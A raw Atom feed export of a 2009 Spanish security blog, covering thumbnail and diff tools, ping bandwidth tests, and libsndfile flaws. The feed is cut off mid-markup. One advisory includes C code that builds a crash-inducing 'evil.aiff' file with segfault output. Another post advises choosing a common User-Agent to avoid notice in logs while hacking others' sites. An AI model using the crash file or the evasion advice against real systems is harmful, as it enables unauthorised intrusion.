src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-4208817596529158049</id><published>2009-03-07T20:12:00.001-06:00</published><updated>2009-03-07T20:12:43.918-06:00</updated><title type='text'>Herramienta (jpgtn): Crear Thumbnails de Imagenes JPEG</title><content type='html'>Bueno una excelente herramienta herramienta que existe para crear imagnes Thumbnails apartir de los archivos Originales de una menera automatica es la herramienta &lt;a href="http://jpgtn.sourceforge.net/"&gt;jpgtn&lt;/a&gt; con ella podremos generar Thumbnails de todo un subdiretorio por ejemplo:&lt;br&gt; &lt;br&gt;codigo:&lt;br&gt;Anon@localhost % jpgtn -p &amp;quot;tn_&amp;quot; -d &amp;quot;tn/&amp;quot; *.jpg&lt;br&gt;&lt;br&gt;Segun vemos algunos ejemplos en la pagina man de la utilidad:&lt;br&gt;&lt;br&gt;EXAMPLES&lt;br&gt;       To create thumbnails of all the &amp;#39;.jpg&amp;#39; files in the  current  directory&lt;br&gt;        and  output them to the current directory with the default prefix &amp;quot;tn_&amp;quot;&lt;br&gt;       use:&lt;br&gt;&lt;br&gt;       $ jpgtn *.jpg&lt;br&gt;&lt;br&gt;       To do the same thing as above, but to put the thumbnails in  &amp;#39;./thumbs&amp;#39;&lt;br&gt;        use:&lt;br&gt;&lt;br&gt;       $ jpgtn -d &amp;quot;./thumbs/&amp;quot; -p &amp;quot;tn_&amp;quot; *.jpg&lt;br&gt;&lt;br&gt;Esto es perfecto para generar vistas en miniatura de wallpapers y algunas otroas imagenes que queramos.&lt;br&gt;&lt;br&gt;Saludos.&lt;br clear="all"&gt; &lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-4208817596529158049?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/4208817596529158049/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=4208817596529158049' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/4208817596529158049'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/4208817596529158049'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/herramienta-jpgtn-crear-thumbnails-de.html' title='Herramienta (jpgtn): Crear Thumbnails de Imagenes JPEG'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-512670965050654186</id><published>2009-03-06T14:08:00.001-06:00</published><updated>2009-03-06T14:08:31.292-06:00</updated><title type='text'>Comparar archivos en windows</title><content type='html'>Bueno después de buscar alternativas para la comparación de archivos en windows encontré windiff y fc:&lt;br&gt;&lt;br&gt;el primero es visual, y el según es mas al estilo de diff pero con el formato de windows&lt;br&gt;&lt;br&gt;esto es una soluciona a: &lt;a href="http://anon-ehn.spaces.live.com/blog/cns%214D0C9DBA4E99E162%21148.entry" target="_blank"&gt;&amp;quot;comp&amp;quot; en WIndows una verdadera porqueria&lt;/a&gt;&lt;br&gt;  &lt;br&gt;Al principio pensé que comp era la utilidad de windows para hacerlo, pero después me dijieron que no que lo era fc y pues veo que ese si funciona.&lt;br&gt;&lt;br&gt;Windiff:&lt;br&gt;&lt;br&gt;&lt;img src="http://img11.imageshack.us/img11/9934/difflibsndfile.png" alt="" border="0"&gt;&lt;br&gt; &lt;br&gt;fc:&lt;br&gt;&lt;br&gt;&lt;img src="http://img14.imageshack.us/img14/6404/fclibsndfile.png" alt="" border="0"&gt;&lt;br&gt;&lt;br&gt;con esto ya soluciono el asunto de comparar archivos en windows.&lt;br&gt; &lt;br&gt;Saludos.&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-512670965050654186?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/512670965050654186/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=512670965050654186' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/512670965050654186'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/512670965050654186'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/comparar-archivos-en-windows.html' title='Comparar archivos en windows'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-2320584059570074263</id><published>2009-03-05T08:54:00.001-06:00</published><updated>2009-03-05T08:54:06.752-06:00</updated><title type='text'>"comp" en WIndows una verdadera porqueria</title><content type='html'>Pues trataba yo de comprar los archivos con la falla &lt;a href="http://www.securityfocus.com/archive/1/501413/30/0/threaded" target="_blank" class="posted"&gt;CVE-2009-0186&lt;/a&gt; para ver cuales era las diferencias y como mi laptop esta descompuesta no tengo en este momento a FreeBSD, tratando de hacerlo en windows vi que existia la utilidad &lt;b&gt;comp&lt;/b&gt; trate de usarlo y me decepciono.&lt;br&gt;&lt;br&gt;Ayuda de &lt;b&gt;comp&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;C:\Users\Anon&amp;gt;help comp&lt;br&gt;&lt;b&gt;Compara el contenido de dos archivos o conjuntos de archivos.&lt;/b&gt;&lt;br&gt; &lt;br&gt;COMP [datos1] [datos2] [/D] [/A] [/L] [/N=número] [/C] [/OFF[liNE]]&lt;br&gt;&lt;br&gt;  datos1      Especifica la ubicación y los nombres de los primeros archivos&lt;br&gt;              que se van a comparar.&lt;br&gt;  datos2      Especifica la ubicación y los nombres de los segundos archivos&lt;br&gt;               que se van a comparar.&lt;br&gt;  /D          Muestra las diferencias en formato decimal. Esta es la&lt;br&gt;              configuración predeterminada.&lt;br&gt;  /A          Muestra las diferencias en caracteres ASCII.&lt;br&gt;   /L          Muestra los números de línea para las diferencias.&lt;br&gt;  /N=número   Compara sólo el número de líneas especificado de cada archivo.&lt;br&gt;  /C          Omite las mayúsculas/minúsculas de ASCII al comparar archivos.&lt;br&gt;   /OFF[liNE]  No omite archivos con el atributo &amp;quot;sin conexión&amp;quot; establecido.&lt;br&gt;&lt;br&gt;Para comparar conjuntos de archivos, use comodines en datos1 y datos2.&lt;br&gt;&lt;/div&gt;&lt;br&gt;Prueba de compracion&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt; Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;C:\Users\Anon&amp;gt;comp libsndfile-1.0.18\src\caf.c libsndfile-1.0.19\src\caf.c /C /L /A&lt;br&gt;Comparando libsndfile-1.0.18\src\caf.c y libsndfile-1.0.19\src\caf.c...&lt;br&gt; Los archivos tienen tamaños diferentes.&lt;br&gt;&lt;br&gt;¿Desea comparar más archivos (S/N) ? N&lt;br&gt;&lt;br&gt;C:\Users\Anon&amp;gt;&lt;br&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;mmm&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: blue;"&gt;&lt;b&gt;Comparando libsndfile-1.0.18\src\caf.c y libsndfile-1.0.19\src\caf.c...&lt;br&gt; Los archivos tienen tamaños diferentes.&lt;/b&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;br&gt;Que mierda de utilidad tendre que buscar un diff para windows o algun gestor visual de diferencias entre archivos.&lt;br&gt;&lt;br&gt;Saludos&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt; &lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-2320584059570074263?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/2320584059570074263/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=2320584059570074263' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2320584059570074263'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2320584059570074263'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/comp-en-windows-una-verdadera-porqueria.html' title='&quot;comp&quot; en WIndows una verdadera porqueria'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-4651090569084618060</id><published>2009-03-04T17:41:00.001-06:00</published><updated>2009-03-04T17:41:46.512-06:00</updated><title type='text'>libsndfile 1.0.18 CAF Processing Integer Overflow Vulnerability</title><content type='html'>Previamente en &lt;a href="http://foro.elhacker.net/bugs_y_exploits/winamp_5541_libsndfile_1017_aiff_buffer_unverified-t242245.0.html" target="_blank" class="posted"&gt;Winamp &amp;lt;= 5.541, libsndfile &amp;lt;= 1.0.17 AIFF buffer unverified&lt;/a&gt; se corrigio una falla en la libreria y ahora sale nuevamente otra version.&lt;br&gt; &lt;br&gt;Pues no acabando con las fallas en libsndfile (Usada por xmms, winamp y algunos otros reproductores).&lt;br&gt;Recientemente el 7 de febrero se habia parcheado una vulnerabilidad y ahora hace unos 2 dias sale a la luz una nueva versión de dicha libreria:&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;# Version 1.0.18 (Feb 07 2009) Add Ogg/Vorbis suppport, remove captive libraries, many new features and bug fixes. Generate Win32 and Win64 pre-compiled binaries.&lt;br&gt; # Version 1.0.19 (Mar 02 2009) Fix for CVE-2009-0186. Huge number of minor fixes as a result of static analysis. &lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;a href="http://www.mega-nerd.com/libsndfile/" target="_blank" class="posted"&gt;http://www.mega-nerd.com/libsndfile/&lt;/a&gt;&lt;br&gt; &lt;br&gt;No se si alguna version de winamp hubiese salido entre las dos fechas anteriores sin embargo y si salio cargada con la nueva libreria tambien es vulnerable.&lt;br&gt;Y segun la pagina si podriamos ejecutar codigo con la falla&lt;br&gt;&lt;br&gt;El bug al parecer si se puede aprovechar de manera remota secunia ha reportado esto y tiene ya su &lt;a href="http://www.securityfocus.com/archive/1/501413/30/0/threaded" target="_blank" class="posted"&gt;CVE-2009-0186&lt;/a&gt; lo interesante seria buscar un PoC y modificarlo para ejecutar comandos de manera remota, estare investigando los cambios en el codigo fuente de ambas versiones vere sobre la falla.&lt;br&gt;&lt;br&gt;Saludos&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-4651090569084618060?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/4651090569084618060/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=4651090569084618060' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/4651090569084618060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/4651090569084618060'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/libsndfile-1018-caf-processing-integer.html' title='libsndfile 1.0.18 CAF Processing Integer Overflow Vulnerability'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-2637268294861911442</id><published>2009-02-14T09:13:00.002-06:00</published><updated>2009-02-23T12:43:28.958-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='libsndfile'/><category scheme='http://www.blogger.com/atom/ns#' term='elhacker.net'/><category scheme='http://www.blogger.com/atom/ns#' term='Bug'/><category scheme='http://www.blogger.com/atom/ns#' term='Anon'/><title type='text'>libsndfile AIFF buffer unverified</title><content type='html'>&lt;pre&gt;-----BEGIN PGP SIGNED MESSAGE-----&lt;br /&gt;Hash: SHA1&lt;br /&gt;&lt;br /&gt;libsndfile AIFF buffer unverified&lt;br /&gt;&lt;br /&gt;A security issue affects the following library/software releases&lt;br /&gt;&lt;br /&gt;libsndfile &amp;lt;= 1.0.17&lt;br /&gt;xmms-sndfile &amp;lt;= 1.2_4&lt;br /&gt;winamp &amp;lt;=  5.541&lt;br /&gt;&lt;br /&gt;And possibly more&lt;br /&gt;&lt;br /&gt;- -BACKGROUND&lt;br /&gt;&lt;br /&gt;Libsndfile is a C library for reading and writing files containing sampled&lt;br /&gt;sound (such as MS Windows WAV and the Apple/SGI AIFF format) through one&lt;br /&gt;standard library interface.&lt;br /&gt;&lt;br /&gt;- -DESCRIPTION&lt;br /&gt; &lt;br /&gt;Testing and debugging winamp, I have verified that the bug is specific to&lt;br /&gt;the library libsndfile. I saw that some of the functions of reading gives&lt;br /&gt;AIFF file headers, this does not check the limits of (CommonChunk.ckSize).&lt;br /&gt;There may be other functions with the same problem. One of the errors&lt;br /&gt;occur when unverified memset is called the limit of memory.&lt;br /&gt;&lt;br /&gt;Quote segment code at src/aiff.c: 847&lt;br /&gt;============================================================&lt;br /&gt;      else if (comm_fmt-&amp;gt;size &amp;gt;= SIZEOF_AIFC_COMM)&lt;br /&gt;       {&lt;br /&gt; //Some lines omitted&lt;br /&gt;&lt;br /&gt; memset (psf-&amp;gt; u.scbuf, 0, comm_fmt-&amp;gt; size);&lt;br /&gt;============================================================&lt;br /&gt;&lt;br /&gt;- -CODE&lt;br /&gt;&lt;br /&gt;============================================================&lt;br /&gt;#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include&amp;lt;stdlib.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#define AIFFSIZE 81&lt;br /&gt;char *aiffbuff =&lt;br /&gt;"\x46\x4f\x52\x4d\x00\x04\xcd\xec\x41\x49\x46\x46\x43\x4f\x4d\x4d\x41\x41\x41\x41"&lt;br /&gt;"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"&lt;br /&gt;"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"&lt;br /&gt;"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x20\x5e\x01\x18\x0f\x3c\x0e\xe4"&lt;br /&gt;"\x00";&lt;br /&gt;&lt;br /&gt;int main(void)  {&lt;br /&gt;       FILE *aiff = fopen("evil.aiff","w+");&lt;br /&gt;       fwrite(aiffbuff,AIFFSIZE,1,aiff);&lt;br /&gt;       fclose(aiff);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;============================================================&lt;br /&gt;&lt;br /&gt;At the time that these applications process the file with invalid headers,&lt;br /&gt;stop for an unexpected error, tcsh sample:&lt;br /&gt;&lt;br /&gt;============================================================&lt;br /&gt;&lt;br /&gt;Anon@localhost % xmms -v&lt;br /&gt;xmms 1.2.11&lt;br /&gt;Anon@localhost % xmms -p evil.aiff&lt;br /&gt;&lt;br /&gt;Segmentation fault&lt;br /&gt;&lt;br /&gt;You've probably found a bug in XMMS, please visit&lt;br /&gt;&lt;a href="http://bugs.xmms.org/"&gt;http://bugs.xmms.org&lt;/a&gt; and fill out a bug report.&lt;br /&gt;&lt;br /&gt;============================================================&lt;br /&gt;&lt;br /&gt;- -IMPACT&lt;br /&gt;&lt;br /&gt;Just a fun, but without using Denial of Service to any programs&lt;br /&gt;that run the library.&lt;br /&gt;&lt;br /&gt;Att.&lt;br /&gt;&lt;br /&gt;Anon[at]&lt;a href="http://elhacker.net/"&gt;elhacker.net&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-----BEGIN PGP SIGNATURE-----&lt;br /&gt;Version: GnuPG v1.4.9 (FreeBSD)&lt;br /&gt;&lt;br /&gt;iQCVAwUBSZbcxT0RloP1tHX9AQIfTQP/aqqzwsVwQow4U4D1lzM0CYIVymjYmL7+&lt;br /&gt;k1qmq4cypYyaSCYUt9KXBIh52hWYFtFfMlrYnREgbf+zDIgme6syUkU7EfE567ah&lt;br /&gt;1tXhjJdYlC3CrKc6t2psUqyuhHBDU8YVyLyuTvTvWykQjVRKJUlfvNEeB97CVvHe&lt;br /&gt;rrl8KwnEItk=&lt;br /&gt;=FNmo&lt;br /&gt;-----END PGP SIGNATURE-----&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-2637268294861911442?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/2637268294861911442/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=2637268294861911442' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2637268294861911442'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2637268294861911442'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/02/libsndfile-aiff-buffer-unverified.html' title='libsndfile AIFF buffer unverified'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-5327925331472308453</id><published>2009-02-14T07:41:00.001-06:00</published><updated>2009-02-23T12:42:58.151-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='elhacker.net'/><category scheme='http://www.blogger.com/atom/ns#' term='Anon'/><category scheme='http://www.blogger.com/atom/ns#' term='User-Agent'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Otro User Agent para usar.</title><content type='html'>Como recordaran en un post anterior: &lt;a href="http://stack-and-heap.blogspot.com/2009/01/que-user-agent-usar-para-no-sobresalir.html"&gt;¿Que User-Agent usar? Para no sobresalir en los Logs&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ahi vimos que uno de los user agent mas comunes es del IE 6 Bajo Windows 5.1 (Generalmente windows XP).&lt;br /&gt;&lt;br /&gt;con el siguiente User-Agent: &lt;span style="font-size:85%;"&gt;Mozilla/4.0 (compatible; U; MSIE 6.0; Windows NT 5.1)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Posiblemente sea por qu muchos  usan Copias Piratas de Windows y no pueden actualizarse a IE 7 pero bueno eso fue otro tema.&lt;br /&gt;&lt;br /&gt;Usando Firefox el mas comun es: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5&lt;br /&gt;&lt;br /&gt;Sin embargo esto cambiaria rapidamente con las actualizacaciones automaticas de FIrefox, cambiaria a la 3.0.6 y tal vez la version de Gecko.&lt;br /&gt;&lt;br /&gt;Saludos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-5327925331472308453?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/5327925331472308453/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=5327925331472308453' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/5327925331472308453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/5327925331472308453'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/02/otro-user-agent-para-usar.html' title='Otro User Agent para usar.'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-2537441691752030719</id><published>2009-01-22T21:23:00.002-06:00</published><updated>2009-02-23T12:42:34.259-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='elhacker.net'/><category scheme='http://www.blogger.com/atom/ns#' term='Anon'/><category scheme='http://www.blogger.com/atom/ns#' term='User-Agent'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>¿Que User-Agent usar? Para no sobresalir en los Logs</title><content type='html'>&lt;div class="codeheader"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:arial,helvetica,sans-serif;"&gt;El hecho de revelar o no el navegador que usamos, muchas veces es contradictorio, si nos ponemos paranoicos ¿que resulta mejor? mandar el header del navegador (User-Agent) o no ? y si lo mandamos la referencia cual mandamos? obvio no puede ser el de nosotros en caso de que usemos algún navegador "raro", sin embargo si usamos Windows y IE, pues podemos estar seguros.&lt;br /&gt;&lt;br /&gt;Ahora digamos que nuestros propósito es realizar "un poco de hacking" en sitios que no son nuestros, obvio no lo vamos a hacer desde nuestra IP una vez solucionado la navegación anónima, nos queda que debemos de explorar la pagina con un navegador y nuestro explorador tiene que mandar un User-Agent o no segun queramos, Tenemos entonces la decicion de cual mandar&lt;br /&gt;&lt;br /&gt;IE, es el mas común y si no queremos sobresalir tenemos que estar confundidos entre la multitud&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Código:&lt;/span&gt;&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt; &lt;span style="font-size:85%;"&gt;Mozilla/4.0 (compatible; U; MSIE 6.0; Windows NT 5.1)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial,helvetica,sans-serif;"&gt;Anteriormente he visto quienes se jactan de decir "Yo he configurado mi firefox para que en el User-Agent mande (Script kiddie was here)" y pues se trata de no llamar la atención y ser mas discreto (confundirse&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial,helvetica,sans-serif;"&gt;entre la multitud)&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: arial,helvetica,sans-serif;font-size:85%;" &gt;Saludos&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-2537441691752030719?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/2537441691752030719/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=2537441691752030719' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2537441691752030719'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2537441691752030719'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/01/que-user-agent-usar-para-no-sobresalir.html' title='¿Que User-Agent usar? Para no sobresalir en los Logs'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-8760969822461053596</id><published>2009-01-20T12:58:00.001-06:00</published><updated>2009-02-23T12:37:54.783-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ping'/><category scheme='http://www.blogger.com/atom/ns#' term='elhacker.net'/><category scheme='http://www.blogger.com/atom/ns#' term='Ancho de Banda'/><category scheme='http://www.blogger.com/atom/ns#' term='icmp'/><category scheme='http://www.blogger.com/atom/ns#' term='Anon'/><title type='text'>Como medir el Ancho de Banda entre hosts mediante ICMP</title><content type='html'>Solo es un promedio y es un aproximado (No es preciso)&lt;br /&gt;&lt;br /&gt;Por ejemplo, Conexión Directa de mi laptop a una PC de escritorio, ambos con una tarjeta 100 Base T.&lt;br /&gt;&lt;br /&gt;Después de un:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt; &lt;pre class="geshi"&gt;Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt; &lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;man&lt;/span&gt; &lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;ping&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;Tenemos que con:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;ping&lt;/span&gt; -c &lt;span style="color: rgb(0, 0, 0);"&gt;100&lt;/span&gt; -s &lt;span style="color: rgb(0, 0, 0);"&gt;10232&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;192.168&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.1&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;# ping -c 100 -s 10232 192.168.0.1&lt;/span&gt;&lt;br /&gt;PING &lt;span style="color: rgb(0, 0, 0);"&gt;192.168&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.1&lt;/span&gt; &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;192.168&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.1&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt;: &lt;span style="color: rgb(0, 0, 0);"&gt;10232&lt;/span&gt; data bytes&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;10240&lt;/span&gt; bytes from &lt;span style="color: rgb(0, 0, 0);"&gt;192.168&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.1&lt;/span&gt;: &lt;span style="color: rgb(0, 120, 0);"&gt;icmp_seq=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;99&lt;/span&gt; &lt;span style="color: rgb(0, 120, 0);"&gt;ttl=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;128&lt;/span&gt; &lt;span style="color: rgb(0, 120, 0);"&gt;time=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;2.263&lt;/span&gt; ms&lt;br /&gt;&lt;span style="color: 